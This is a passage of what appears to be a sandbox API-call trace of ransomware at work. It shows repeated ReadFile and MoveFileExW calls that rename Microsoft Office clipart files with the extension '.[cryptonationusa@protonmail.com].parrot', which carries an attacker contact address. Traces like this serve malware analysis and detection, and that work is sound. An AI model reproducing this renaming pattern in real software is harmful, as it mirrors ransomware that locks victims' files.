(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.663] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.663] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.665] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.665] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1485, lpOverlapped=0x0) returned 1 [0127.666] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.669] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.669] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.670] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.670] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa24, lpOverlapped=0x0) returned 1 [0127.671] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.674] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.674] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.676] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.676] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x296f, lpOverlapped=0x0) returned 1 [0127.677] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.680] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.680] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.681] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.681] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0127.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.685] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.685] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.718] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14c3, lpOverlapped=0x0) returned 1 [0127.720] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.723] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.723] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.725] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.725] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x135b, lpOverlapped=0x0) returned 1 [0127.726] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.729] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.729] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.730] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.730] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13a6, lpOverlapped=0x0) returned 1 [0127.731] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.733] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.734] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.735] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.735] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x47a, lpOverlapped=0x0) returned 1 [0127.735] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.738] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.738] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0127.741] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.744] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.744] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.746] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.746] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b48, lpOverlapped=0x0) returned 1 [0127.747] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.750] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.750] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33c6, lpOverlapped=0x0) returned 1 [0127.752] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.756] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.756] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.765] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.765] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2186, lpOverlapped=0x0) returned 1 [0127.766] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.769] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.769] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.771] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.771] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x131e, lpOverlapped=0x0) returned 1 [0127.772] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.775] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.775] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.779] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14ff, lpOverlapped=0x0) returned 1 [0127.780] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.783] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.783] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.784] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.785] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2420, lpOverlapped=0x0) returned 1 [0127.785] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.788] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.788] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1398, lpOverlapped=0x0) returned 1 [0127.791] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.796] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.796] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.798] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.798] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1126, lpOverlapped=0x0) returned 1 [0127.799] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.802] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.802] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.803] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.804] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf7e, lpOverlapped=0x0) returned 1 [0127.804] SetFilePointerEx (in: hFile=0x1b0, 